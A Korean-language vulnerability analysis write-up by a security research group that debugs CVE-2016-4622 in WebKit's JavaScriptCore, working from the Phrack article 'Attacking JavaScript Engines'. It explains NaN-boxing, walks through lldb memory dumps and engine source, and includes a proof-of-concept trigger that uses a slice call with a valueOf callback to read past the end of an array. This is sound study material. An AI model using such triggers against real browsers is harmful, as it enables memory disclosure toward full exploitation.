CVE-2016-4622 삽질기
- 7 mins작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root
목차
1. 소개
이 문서에서는 Attacking Javascript Engines 프랙 문서의 내용을 디버깅 및 분석하는 과정을 다룬다.
또한 이 문서는 널루트 내부 프로젝트 how to browser
에서 작성한 Attacking JavaScript Engines 번역 문서로부터 이어지는 문서로, 앞의 문서를 먼저 읽기를 권한다.
2. 환경 구축
- OS X EI Captian 10.11.4 버전의 가상머신 (Safari 9.1.1)을 준비
- OS 버전의 Xcode를 설치 Command Line Tools OS X 10.11 for Xcode 7.3.1
- WebKit 빌드
git clone git://git.webkit.org/WebKit.git WebKit
cd WebKit
git checkout 320b1fc
Tools/Scripts/build-jsc MACOSX_DEPLOYMENT_TARGET=10.11 SDKROOT=macosx10.11 --debug
Webkit 빌드 할 때 디버깅 편의를 위해서 FunctionPrint 함수에 코드 추가
EncodedJSValue JSC_HOST_CALL functionPrint(ExecState* exec)
{
for (unsigned i = 0; i < exec->argumentCount(); ++i) {
puts("[*] dumpng arguments");
printf("&exec->argument(%d): %p\n", i, (void *)exec->argument(i).toObject(exec));
printf("&exec->argument(%d): %s\n", i, exec->uncheckedArgument(i).toString(exec)->view(exec).get().utf8().data());
if (i)
putchar(' ');
printf("%s", exec->uncheckedArgument(i).toString(exec)->view(exec).get().utf8().data());
}
putchar('\n');
fflush(stdout);
return JSValue::encode(jsUndefined());
}
이렇게 소스코드를 추가해준 후 빌드를 할 경우
null2rootui-Mac:Resources null2root$ ./jsc
>>> print("null2root")
[*] dumpng arguments
&exec->argument(0): 0x110db3100
&exec->argument(0): null2root
null2root
undefined
>>>
디버깅 할때 메모리를 바로 찾을 수 있다.
그 외에 디버깅을 위해 사용할 만한 함수로 describe() 함수가 있다. 파라미터로 객체를 전달하면 해당 객체의 자료형, 내용, 주소 등을 출력해준다. 실 용례는 다음과 같다.
null2rootui-Mac:Resources null2root$ cat test_describe.js
var a = 1.234;
var b = [3.4567];
var c = {a, b};
print(describe(a));
print(describe(b));
print(describe(c));
null2rootui-Mac:Resources null2root$ ./jsc test_describe.js
Double: 4608236261112822104, 1.234000
Object: 0x7fffb29b01f0 with butterfly 0x7fffb29caee8 (0x7fffb29eaca0:[Array, {}, ArrayWithDouble, Proto:0x7fffb29e4140, Leaf]), ID: 89
Object: 0x7fffb29e4340 with butterfly (nil) (0x7fffb299f520:[Object, {a:0, b:1}, NonArray, Proto:0x7fffb29b00a0, Leaf]), ID: 230
3. 분석
3.1 NaN-Boxing
자바스크립트는 동적인 타입을 지원하는 언어로 number, sring, boolean, null, undefined, symbol 등등의 타입들이 내장되어 있다. 1 자바스크립트의 값의 표현은 상위 16비트가 인코딩된 JSValue를 의미하는데
타입 | 상위 16비트 |
---|---|
Pointer | 0000 |
Double | 0001~FFFE |
Integer | FFFF |
독특한 부분은 Double형으로 00001~FFFE까지 라는 것이다. JSValue에서는 Double형의 상위 16비트 값이 0000~FFFF값이 나오지 않기 위해서 Double형의 값에다가 2^48을 더해준다. 디버깅을 하면 쉽게 알아볼수 있다.
예를 들면
var Integer = 0x7;
var Double = 1.123;
이런코드가 있을경우 0x7은 메모리에 0xffff000000000007 이렇게 저장이 되고 Double의 1.123은 실제 double 값의 0x3ff1f7ced916872b에서 2^48을 더한 0x3ff2f7ced916872b이 된다.
(lldb) x/10gx 0x1073b3120
0x1073b3120: 0x0100180000000069 0x0000000000000000
0x1073b3130: 0x00000001015cffd0 [0xffff000000000007] <= Integer
(lldb) x/10gx 0x1073b3100
0x1073b3100: 0x0100180000000069 0x0000000000000000
0x1073b3110: 0x00000001015cffd0 [0x3ff2f7ced916872b] <= Double
독특한 점은 배열에 값을 넣을때는 속도를 위해서 네이티브 타입을 저장한다. 번역 문서에서는
ArrayWithContiguous 는 JSValue 를 저장하고, 이전 두 타입(Int32Shape, DoubleShape)은 네이티브 타입을 저장한다. 라고 설명한다.
var arrayInt32 = new Uint32Array(2);
arrayInt32[0] = 1;
arrayInt32[1] = 2;
var arrayDouble = [0.123 , 1.123 , 2.123];
print(arrayInt32);
print(arrayDouble);
(lldb) x/10gx 0x00000001061e4800 // arrayInt32
0x1061e4800: 0x0000000200000001 0x0000000400000003
...
(lldb) x/10gx 0x00000001061e4810 // arrayDouble
0x1061e4810: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x1061e4820: 0x4000fbe76c8b4396 0x7ff8000000000000
실제 디버깅을 해보면 Int32는 1, 2, 3, 4 메모리에 들어가는 것을 확인 할 수 있고 double 배열에는 2^48을 안더한다는 것을 볼 수 있다. Int32 배열말고 단일 변수는 없기 때문에 비교할수 없다.
3.2 버그 분석
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
null2rootui-Mac:Resources null2root$ ./jsc valueOf.js
[*] dumpng arguments
&exec->argument(0): 0x10fdc7ec0
&exec->argument(0): 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Attacking JavaScript Engines문서에서 나오는 코드와 그 결과 값이다. 해당 문서와 똑같이 나오는것을 확인 할 수 있었다. 번역문서에서는
slice 작업 전에 배열을 지웠기 때문에 예상되는 출력값은
undefined
값들로 채워진 길이가 10인 배열이지만, 실제로 출력해 보면 부동 소수점 값들이 나타나는 것을 확인할 수 있다. 아무래도 배열 범위의 끝을 넘어 값들을 읽어들인 것처럼 보인다. :)
라고 0.123과 1.123이 왜 나오는지에 대해 확실하게 이유를 설명해 주지 않는다. 때문에 디버깅을 해서 살펴봤을때
(lldb) x/10gx 0x000000010fdc7ec0
0x106be4780: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x106be4790: 0x0000000a0000000a 0x0000000000000000
0x3fbf7ced916872b0 는 0.123이고 0x3ff1f7ced916872b는 1.123이다. 왜 값들이 메모리에 있는지 코드 분석을 통해 알아보자.
void JSObject::reallocateAndShrinkButterfly(VM& vm, unsigned length)
{
...
DeferGC deferGC(vm.heap);
Butterfly* newButterfly = butterfly()->resizeArray(vm, this, structure(vm), 0, ArrayStorage::sizeFor(length));
newButterfly->setVectorLength(length);
newButterfly->setPublicLength(length);
WTF::storeStoreFence();
m_butterfly.set(vm, this, newButterfly);
}
rellocateAndShrinkButterfly 함수내부에서 butterfly()->resizeArray(vm, this, structure(vm), 0, ArrayStorage::sizeFor(length)) 을 실행시키는데 우리가 length를 0으로 주었으므로 ArrayStorage::sizeFor(0) 이 실행될것이다. 참고로 newButterfly->setVectorLength(length);
와 newButterfly->setPublicLength(length);
가 새로운 배열의 length(=valueOf 함수의 리턴값)을 삽입하기 때문이다.
static size_t sizeFor(unsigned vectorLength)
{
return ArrayStorage::vectorOffset() + vectorLength * sizeof(WriteBarrier<Unknown>);
}
...
static ptrdiff_t vectorOffset() { return OBJECT_OFFSETOF(ArrayStorage, m_vector); } # 0x10
sizeFor 함수를 보면 vectorLength(length => 0)를 이용해서 연산하는것 뿐 아니라 vectorOffset()2을 더해주는데, vectorOffset의 return 값이 0x10이다. 때문에 resizeArray의 newIndexingPayloadSizeInBytes 인자가 0x10이 들어간다.
resizeArray코드에서는
inline Butterfly* Butterfly::resizeArray(
VM& vm, JSObject* intendedOwner, size_t propertyCapacity, bool oldHasIndexingHeader,
size_t oldIndexingPayloadSizeInBytes, size_t newPreCapacity, bool newHasIndexingHeader,
size_t newIndexingPayloadSizeInBytes)
{
...
size_t size = std::min(
totalSize(0, propertyCapacity, oldHasIndexingHeader, oldIndexingPayloadSizeInBytes),
totalSize(0, propertyCapacity, newHasIndexingHeader, newIndexingPayloadSizeInBytes));
memcpy(to, from, size);
return result;
}
newIndexingPayloadSizeInBytes(=0x10)를 받은 인자에 totalSize를 통해 +8을 더해줘서(JSCell을 포함하기 위해서 이다.) memcpy를 할때 size에 0x18이 들어간다.
(lldb) register read
...
rdx = 0x0000000000000018
rdi = 0x00000001061e4760
rsi = 0x00000001061e4168
...
(lldb) x/10gx 0x00000001061e4168
0x1061e4168: 0x000000be00000064 0x3fbf7ced916872b0
0x1061e4178: 0x3ff1f7ced916872b 0x4000fbe76c8b4396
...
(lldb) x/10gx 0x00000001061e4760
0x1061e4760: 0x0000000000000000 0x0000000000000000
0x1061e4770: 0x0000000000000000 0x0000000000000000
//memcpy 실행후
(lldb) x/10gx 0x00000001061e4760
0x1061e4760: 0x000000be00000064 0x3fbf7ced916872b0
0x1061e4770: 0x3ff1f7ced916872b 0x0000000000000000
디버깅을 통해 값이 들어가들어가는 것을 보았다.